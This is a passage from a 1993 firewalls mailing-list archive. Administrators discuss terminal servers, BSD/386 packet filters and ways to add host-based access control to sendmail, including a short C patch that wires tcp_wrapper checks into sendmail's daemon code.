(4.1/SMI-4.1/Brent-930913) id AA10441; Tue, 21 Sep 93 03:22:18 GMT Received: from localhost by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA10433; Mon, 20 Sep 93 20:21:41 PDT Message-Id: <9309210321.AA10433@mycroft.GreatCircle.COM> To: alastair@Cadence.COM (Alastair Young) Cc: firewalls@GreatCircle.COM Subject: Re: ANNEX terminal servers In-Reply-To: Your message of Thu, 16 Sep 93 10:37:10 -0700 Date: Mon, 20 Sep 1993 20:21:40 -0700 From: Brent Chapman Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk >>>>> On Thu, 16 Sep 93 10:37:10 -0700, alastair@Cadence.COM (Alastair Young) said: >> I like the Livingston PortMaster better. I find it easy to configure >> and use, and very reliable. It has excellent packet filtering >> capabilities. It has hooks for user-supplied authentication (smart >> cards and such). These capabilities may not quite be released yet, >> but they're definitely out in beta, and anybody can grab the beta >> release off of netcom.com (directory pub/livingston). >> >> As an added bonus that's important to some sites, using a PortMaster >> to create virtual serial ports on a Sun works _better_ than any of the >> various SBus/VME-Bus/SCSI _hardware_ serial port expansions (INCLUDING >> the ones from Sun) that I've worked with. Much more reliable; >> requires no kernel modifications; works extremely well. Alastair> We have a Livingston PortMaster IR-4 as our Internet Alastair> Connection point. I wasn't aware that it had the features Alastair> you describe (other than the packet filtering), though I Alastair> will now look into this. We have had some reliability Alastair> troubles. The IR-4 may not have all those capabilities; I was speaking primarily of the PM-2 and PM-11 units. I've never used the IR-4. -Brent -- Brent Chapman Great Circle Associates Brent@GreatCircle.COM 1057 West Dana Street +1 415 962 0841 Mountain View, CA 94041 From Firewalls-Owner Mon Sep 20 21:13:38 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA10749; Tue, 21 Sep 93 03:56:22 GMT Received: from das.wang.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA10741; Mon, 20 Sep 93 20:56:09 PDT Received: from elf.wang.com by das.wang.com with SMTP id AA06732 (5.65c/IDA-1.5); Mon, 20 Sep 1993 23:58:48 -0400 Received: from fnord.wang.com by elf.wang.com with SMTP id AA12840 (5.65c/IDA-1.5); Mon, 20 Sep 1993 23:58:33 -0400 Received: by fnord.wang.com (5.65c/TF5) id AA22115; Mon, 20 Sep 1993 23:58:31 -0400 From: Tom Fitzgerald Message-Id: <199309210358.AA22115@fnord.wang.com> Subject: Re: TCP Wrappers reversed To: brent@GreatCircle.COM (Brent Chapman) Date: Mon, 20 Sep 93 23:58:30 EDT Cc: firewalls@GreatCircle.COM In-Reply-To: <9309210133.AA09695@mycroft.GreatCircle.COM>; from "Brent Chapman" at Sep 20, 93 6:33 pm X-Mailer: ELM [version 2.3 PL11] Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > # > I have thought of writing a "wrapper" to go around telnet and ftp, which > # > are the two services I am most concerned about at this point. > # > # If I can telnet into your machine, I can install a proper telnet or > # ftp or anything else. The only way I know of that will do what you > # want is to hack the kernel. > > Has anyone looked at what it would take to add access control to > network services to the BSD/386 or 386BSD kernel source? I smell a > paper here; any takers? Danny Boulet has written packet-filtering patches for BSD/386. It uses two sets of filter rules, set by ioctls - one set (patched into ipintr()) controls which received packets are accepted by the local host and passed upward, the other (patched into ip_forward()) controls what packets are transmitted. If the host is running as a router, forwarded packets are apparently run through both filter lists. It doesn't generate ICMP errors for dropped packets, but I think it increments the bad-received-packet and cant-forward statistics for netstat. Anyone interested in using this to protect an external net from local users would probably want more detailed recording of rejected packets. The patches appear to be very well-written and clean. There might be a substantial performance hit associated with using them, especially with lots of filters. The patches can probably be found in the BSDI mailing list archives on ftp.bsdi.com, in the August archives. I can send the message to anyone who wants, but Danny may have more recent code than I've got. -- Tom Fitzgerald Wang Labs, Lowell MA, USA fitz@wang.com 1-508-967-5278 inews: .sig discarded because it contained false or misleading information From Firewalls-Owner Mon Sep 20 23:13:38 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA18378; Tue, 21 Sep 93 05:28:11 GMT Received: from mail-relay-2.mv.us.adobe.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA18370; Mon, 20 Sep 93 22:28:01 PDT Received: by mail-relay-2.mv.us.adobe.com; id AA14459; Mon, 20 Sep 93 22:30:46 -0700 Received: by mumble.mv.us.adobe.com; id AA00330; Mon, 20 Sep 93 22:30:43 -0700 Message-Id: <9309210530.AA00330@mumble.mv.us.adobe.com> To: firewalls@GreatCircle.COM Cc: vixie@vix.com Subject: Re: TCP Wrappers reversed In-Reply-To: Your message of "Mon, 20 Sep 93 23:58:30 EDT." <199309210358.AA22115@fnord.wang.com> Date: Mon, 20 Sep 93 22:30:41 -0700 From: Tim Guarnieri X-Mts: smtp Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk >>>> Has anyone looked at what it would take to add access control to >>>> network services to the BSD/386 or 386BSD kernel source? I smell a >>>> paper here; any takers? >> Danny Boulet has written packet-filtering patches for >> BSD/386. It uses two sets of filter rules, set by ioctls - one set >> (patched into ipintr()) controls which received packets are accepted by the >> local host and passed upward, the other (patched into ip_forward()) >> controls what packets are transmitted. If the host is running as a router, >> forwarded packets are apparently run through both filter lists. Well, I'm somewhat off the stated topic here, so I'll be brief. In terms of packet filters for BSD/386, Paul Vixie & I have ported screend to BSD/386 (I believe I've posted this to firewalls previously). Paul is currently working on getting our changes through DEC WRL and we will hopefully be able to make *something* available in the not too distant future. From Firewalls-Owner Tue Sep 21 10:45:52 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA24414; Tue, 21 Sep 93 17:24:19 GMT Received: from turing.mathworks.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA24407; Tue, 21 Sep 93 10:24:12 PDT Received: by turing.mathworks.com; Tue, 21 Sep 1993 13:27:07 -0400 Received: by zippy.MathWorks.COM (4.1/4.7) id AA00746; Tue, 21 Sep 93 13:27:06 EDT From: pascoe@MathWorks.COM Message-Id: <9309211727.AA00746@zippy.MathWorks.COM> Subject: Access control for SMTP? To: firewalls@GreatCircle.COM Date: Tue, 21 Sep 1993 13:27:06 -0400 (EDT) Content-Type: text Content-Length: 397 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk I'm wondering whether there is an access control program out there for Sendmail. Since it doesn't run out of inetd, rather as a constantly running daemon, the TCP wrapper packages currently available don't seem to be applicable. I'm looking for something that is host based, not router based obviously. Thanks in advance for any info. ---- Dave Pascoe The MathWorks, Inc. pascoe@mathworks.com From Firewalls-Owner Tue Sep 21 11:13:40 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA24383; Tue, 21 Sep 93 17:18:58 GMT Received: from cs.umb.edu by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA24376; Tue, 21 Sep 93 10:18:51 PDT Received: from cs.umb.edu by cs.umb.edu with SMTP id AA28761 (5.65c/IDA-1.4.4 for ); Tue, 21 Sep 1993 13:21:16 -0400 Message-Id: <199309211721.AA28761@cs.umb.edu> To: firewalls@GreatCircle.COM Subject: Re: TCP Wrappers reversed In-Reply-To: Your message of "Mon, 20 Sep 1993 18:33:03 PDT." <9309210133.AA09695@mycroft.GreatCircle.COM> Date: Tue, 21 Sep 1993 13:21:15 -0400 From: "John P. Rouillard" Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk In message <9309210133.AA09695@mycroft.GreatCircle.COM>, Brent Chapman writes: > "John P. Rouillard" writes: > > # > I have thought of writing a "wrapper" to go around telnet and ftp, which > # > are the two services I am most concerned about at this point. Before > # > I did, I wanted to see if someone else already has something like this or > # > better. > # > # If I can telnet into your machine, I can install a proper telnet or > # ftp or anything else. The only way I know of that will do what you > # want is to hack the kernel. > > Has anyone looked at what it would take to add access control to > network services to the BSD/386 or 386BSD kernel source? I smell a > paper here; any takers? Not even on my best day, not only that but I no longer have access ot the bsdi code. One thing to note is that screend and filtering that I have seen for the bsd kernel only work if the datastream is NOT being generated from the host on which the screend/filter is working. If the application uses the packet filter code, by the time the packet filters pick up the packet, it is already out the interface. I am not quite sure where to put the hooks in, but I would think it would have to be at the socket call/bind/accept level, otherwise there is no way to get the username info that is needed to filter on a user by user basis. -- John From Firewalls-Owner Tue Sep 21 11:43:40 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA24656; Tue, 21 Sep 93 17:56:25 GMT Received: from research.att.com (ninet.research.att.com) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA24649; Tue, 21 Sep 93 10:56:18 PDT Message-Id: <9309211756.AA24649@mycroft.GreatCircle.COM> From: smb@research.att.com Received: by gryphon; Tue Sep 21 13:58:38 EDT 1993 To: pascoe@MathWorks.COM Cc: firewalls@GreatCircle.COM Subject: Re: Access control for SMTP? Date: Tue, 21 Sep 93 13:58:37 EDT Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk I'm wondering whether there is an access control program out there for Sendmail. Since it doesn't run out of inetd, rather as a constantly running daemon, the TCP wrapper packages currently available don't seem to be applicable. I'm looking for something that is host based, not router based obviously. Thanks in advance for any info. ---- Dave Pascoe The MathWorks, Inc. pascoe@mathworks.com You can run sendmail out of inetd if you want. I forget the exact options (thankfully, it's been years since I used it), so you'll have to check the man page, but there's some option to make it speak smtp on stdin/stdout. You may lose a full Received: line if you do that, though, and you'll also have to invoke sendmail via cron with whatever option runs the queue. From Firewalls-Owner Tue Sep 21 12:43:40 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA25124; Tue, 21 Sep 93 19:35:07 GMT Received: from mailgate.Cadence.COM by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA25108; Tue, 21 Sep 93 12:34:57 PDT Received: from cds1004 by mailgate.Cadence.COM (5.65c/SMI-4.1) id AA21418; Tue, 21 Sep 1993 12:36:52 -0700 Received: from [158.140.32.236] by cds1004 (5.65+/1.5) id AA03752; Tue, 21 Sep 93 12:37:40 -0700 Date: Tue, 21 Sep 93 12:37:40 -0700 Message-Id: <9309211937.AA03752@cds1004> To: firewalls@GreatCircle.COM From: alastair@Cadence.COM (Alastair Young) X-Sender: alastair@cds1004 Subject: Re: Access control for SMTP? Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk >I'm wondering whether there is an access control program out there for >Sendmail. Since it doesn't run out of inetd, rather as a constantly >running daemon, the TCP wrapper packages currently available don't >seem to be applicable. I'm looking for something that is host based, >not router based obviously. > >Thanks in advance for any info. > >---- >Dave Pascoe >The MathWorks, Inc. >pascoe@mathworks.com It can be run from inetd. You need to run it with the "-bs" option. We do this on our mail gateway. Al --------------------------------------------------------------------------- Alastair Young _ Ariel NH Cadence Design Systems, Information Services )/___ _ Red Hunter 555 River Oaks Parkway, 4B1 __/(___)_*##/c San Jose CA 95134 Fax: (408)894-3487 / /\\|| \ / \ Brakes'n'lites alastair@cadence.com (408)428-5278 \__/ ----'\__/ novel eh? --------------------------------------------------------------------------- These statements and opinions are mine, not those of Cadence Design Systems From Firewalls-Owner Tue Sep 21 13:43:40 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA25438; Tue, 21 Sep 93 20:26:43 GMT Received: from odin.INS.CWRU.Edu by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA25431; Tue, 21 Sep 93 13:26:29 PDT Received: by odin.INS.CWRU.Edu (5.65b+ida+/CWRU-1.5.5-ins) id AA13489; Tue, 21 Sep 93 16:29:15 -0400 (from chet for firewalls@greatcircle.com) Date: Tue, 21 Sep 1993 16:15:58 -0400 From: Chet Ramey To: pascoe@MathWorks.COM Subject: Re: Access control for SMTP? Cc: firewalls@GreatCircle.COM Reply-To: chet@po.CWRU.Edu In-Reply-To: Message from pascoe@MathWorks.COM of Tue, 21 Sep 1993 13:27:06 -0400 (EDT) (id <9309211727.AA00746@zippy.MathWorks.COM>) Message-Id: <9309212015.AA13018.SM@odin.INS.CWRU.Edu> Read-Receipt-To: chet@po.CWRU.Edu Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > I'm wondering whether there is an access control program out there for > Sendmail. Since it doesn't run out of inetd, rather as a constantly > running daemon, the TCP wrapper packages currently available don't > seem to be applicable. I'm looking for something that is host based, > not router based obviously. I integrated the wrapper library from the tcp_wrapper distribution into my heavily-hacked sendmail-5.65+ida sources, wrote an smtp_access() convenience function, and added a function checkconn() to daemon.c, along with the glue to build the libwrap data structures. Here's code to add to the child branch in daemon.c:getrequests(): declarations section: struct from_host fhost; after we have determined the hostname with gethostbyaddr: if (checkconn(t, &fhost) < 0) { closelog(); openlog("sendmail", LOG_PID, LOG_DAEMON); syslog(LOG_WARNING, "refused connect from %s", $ /* * For testing; we should really open up * OutChannel and call message(). */ write(t, "421 Connection refused: access denied$ closelog(); exit(EX_NOPERM); } Here is daemon.c:checkconn(): /* * Return < 0 if the host described by FHP is not allowed to connect to * this machine's SMTP port. */ checkconn(t, fhp) int t; struct from_host *fhp; { /* * Find out who is at other end of socket t and fill in the * from_host struct. Ignore the return value, since we should * exchange mail with hosts claiming to be someone else. */ (void) fromhost2(t, fhp); /* * If we decide to use the same file for this as for all other * host connections, change to hosts_access("sendmail", fhp). */ if (smtp_access(fhp) == 0) return -1; return 0; } Here is smtp_access(), which I put into hosts_access.c from the libwrap library: int smtp_access(client) struct from_host *client; { if (table_match(SMTP_ALLOW, "sendmail", client)) return (YES); if (table_match(SMTP_DENY, "sendmail", client)) return (NO); if (table_match(SHARED_SMTP_ALLOW, "sendmail", client)) return (YES); if (table_match(SHARED_SMTP_DENY, "sendmail", client)) return (NO); return (YES); } (It doesn't use the standard /etc/hosts.{allow,deny}; if you want to use them, you can dispense with smtp_access altogether and call hosts_access ("sendmail", fhp) from checkconn(). I use mostly shared hosts.allow files, but host-specific smtp.allow and smtp.deny; the intent of SHARED_SMTP_{ALLOW,DENY} should be obvious.) Chet -- ``The good news is that this year two million people will pass through Washington's new Holocaust Memorial Museum, which will survive the survivors and be their testimony.'' Chet Ramey, Case Western Reserve University Internet: chet@po.CWRU.Edu From Firewalls-Owner Tue Sep 21 14:13:40 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA25665; Tue, 21 Sep 93 21:00:20 GMT Received: from cs.huji.ac.il by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA25631; Tue, 21 Sep 93 14:00:08 PDT Received: from picton.cs.huji.ac.il by cs.huji.ac.il with SMTP id AA22261 (5.65b/HUJI 4.114); Tue, 21 Sep 93 23:03:50 +0200 Received: from localhost by picton.cs.huji.ac.il with SMTP id AA11931 (5.65c/HUJI 4.121); Tue, 21 Sep 1993 23:02:53 +0200 Message-Id: <199309212102.AA11931@picton.cs.huji.ac.il> To: alastair@cadence.com (Alastair Young) Cc: firewalls@GreatCircle.COM Subject: Re: Access control for SMTP? In-Reply-To: Your message of Tue, 21 Sep 93 12:37:40 -0700 . <9309211937.AA03752@cds1004> From: Amos Shapira Date: Tue, 21 Sep 1993 23:02:44 +0200 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk In message <9309211937.AA03752@cds1004> you write: |>I'm wondering whether there is an access control program out there for |>Sendmail. Since it doesn't run out of inetd, rather as a constantly |>running daemon, the TCP wrapper packages currently available don't |>seem to be applicable. I'm looking for something that is host based, |>not router based obviously. [ deleted ] |It can be run from inetd. You need to run it with the "-bs" option. We do |this on our mail gateway. I miss something - what criteria do you use to filter out connections (within the constraints of the "security through obscurity" rule, of course)? Mail by its nature is supposed to be coming from many hosts, isn't it? And to the original question itself - it was mentioned here a few months ago that someone modified the shared sunos libc recv/accept/etc... syscalls to check against access list before letting a packet/connection go through, I suppose this must be another solution to this kind of a problem (on "lingering UDP servers" this is the only solution I know). Cheers, --Amos --Amos Shapira (Jumper Extraordinaire) | "War does not determine who is right, C.S. System Group, Hebrew University, | but who is left" Jerusalem 91904, ISRAEL | amoss@cs.huji.ac.il | -- Anonymous? From Firewalls-Owner Tue Sep 21 16:13:40 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA26179; Tue, 21 Sep 93 22:46:00 GMT Received: from azalea.tis.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA26172; Tue, 21 Sep 93 15:45:52 PDT Received: by azalea.tis.com; id AA04540; Tue, 21 Sep 93 18:46:49 EDT Received: from tis.com/192.33.112.100 via smap Received: from otter.TIS.COM by TIS.COM (4.1/SUN-5.64) id AA27419; Tue, 21 Sep 93 18:48:16 EDT Received: by otter.TIS.COM (5.65/client) id AA03362; Tue, 21 Sep 93 18:48:15 -0400 From: mjr@TIS.COM Date: Tue, 21 Sep 93 18:48:15 -0400 Message-Id: <3362.9309212248@otter.TIS.COM> To: firewalls@GreatCircle.COM, pascoe@MathWorks.COM Subject: Re: Access control for SMTP? Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk >I'm wondering whether there is an access control program out there for >Sendmail. Since it doesn't run out of inetd, rather as a constantly >running daemon, the TCP wrapper packages currently available don't >seem to be applicable. I'm looking for something that is host based, >not router based obviously. I believe there *ARE* flags that can be set for sendmail to make it go into SMTP mode so that it can be started via inetd, which would permit a tcp wrapper to be placed around it. The approach we've been following is a little more complex in some ways, and a little more simple in others. In designing the TIS firewall toolkit, we wanted to enforce a policy that untrusted networks can't talk to processes running on the firewall that have privileges or that run in the root filesystem.(*) This means that all the proxies and services run setuid to something harmless and under chroot, at the administrator's discretion. The SMTP mail service handler, called "smap" for lack of a good name, is a simple server that runs chrooted and gathers mail messages which are then queued to disk. A second process, called "smapd" for lack of a good name, sweeps the queueing area and hands the messages off to sendmail for delivery. Is this unnecessary paranoia? Possibly. On the other hand, it lets me sleep at night without having to verify that every line of code in sendmail is free of security holes. Complex software should not run with privileges. Period. It's possible that there could be data-driven trojan horses elsewhere in the mailer, but taking the ability for an outsider to talk to a privileged process is a long step in the right direction. All that being said, something like "smap", which is a single process per incoming message, is also really easy to put a tcp wrapper program around, if desired. It's also a great place to put logging and/or simple access control. "smap" is what's currently running on whitehouse.gov (want to talk about a test by fire?) and will be made available as part of the firewall toolkit sometime in the next few weeks. mjr. (* except inetd, which they don't really "talk" to) From Firewalls-Owner Tue Sep 21 16:43:40 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA26317; Tue, 21 Sep 93 23:25:41 GMT Received: from mailgate.Cadence.COM by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA26310; Tue, 21 Sep 93 16:25:28 PDT Received: from cds1004 by mailgate.Cadence.COM (5.65c/SMI-4.1) id AA02671; Tue, 21 Sep 1993 16:26:16 -0700 Received: from [158.140.32.236] by cds1004 (5.65+/1.5) id AA04101; Tue, 21 Sep 93 16:27:05 -0700 Date: Tue, 21 Sep 93 16:27:05 -0700 Message-Id: <9309212327.AA04101@cds1004> To: firewalls@GreatCircle.COM From: alastair@Cadence.COM (Alastair Young) X-Sender: alastair@cds1004 Subject: Re: Access control for SMTP? Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk >In message <9309211937.AA03752@cds1004> you write: >|>I'm wondering whether there is an access control program out there for >|>Sendmail. Since it doesn't run out of inetd, rather as a constantly >|>running daemon, the TCP wrapper packages currently available don't >|>seem to be applicable. I'm looking for something that is host based, >|>not router based obviously. > > [ deleted ] > >|It can be run from inetd. You need to run it with the "-bs" option. We do >|this on our mail gateway. > >I miss something - what criteria do you use to filter out connections (within >the constraints of the "security through obscurity" rule, of course)? Mail >by its nature is supposed to be coming from many hosts, isn't it? > I don't filter out any, I just use the tcpd as a logger in this case. Sendmail itself doesn't log VRFY queries and other manual jiggerypokery, but this way I get a log of ALL connections to the port. Al --------------------------------------------------------------------------- Alastair Young _ Ariel NH Cadence Design Systems, Information Services )/___ _ Red Hunter 555 River Oaks Parkway, 4B1 __/(___)_*##/c San Jose CA 95134 Fax: (408)894-3487 / /\\|| \ / \ Brakes'n'lites alastair@cadence.com (408)428-5278 \__/ ----'\__/ novel eh? --------------------------------------------------------------------------- These statements and opinions are mine, not those of Cadence Design Systems From Firewalls-Owner Tue Sep 21 20:13:41 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA28251; Wed, 22 Sep 93 02:21:48 GMT Received: from localhost by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA28142; Tue, 21 Sep 93 19:19:31 PDT Message-Id: <9309220219.AA28142@mycroft.GreatCircle.COM> To: smb@research.att.com Cc: firewalls@GreatCircle.COM Subject: Re: Access control for SMTP? In-Reply-To: Your message of Tue, 21 Sep 93 13:58:37 EDT Date: Tue, 21 Sep 1993 19:19:28 -0700 From: Brent Chapman Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk # You can run sendmail out of inetd if you want. I forget the exact # options (thankfully, it's been years since I used it), so you'll have # to check the man page, but there's some option to make it speak smtp # on stdin/stdout. You may lose a full Received: line if you do that, # though, and you'll also have to invoke sendmail via cron with whatever # option runs the queue. If you don't want it to be a daemon, just drop the "-bd" ("be a daemon") flag from the sendmail startup line in your /etc/rc* file. Invoke sendmail out of inetd with the options "-bs" ("be a server"). You don't have to run it out of cron; you can continue to invoke it from startup as "sendmail -q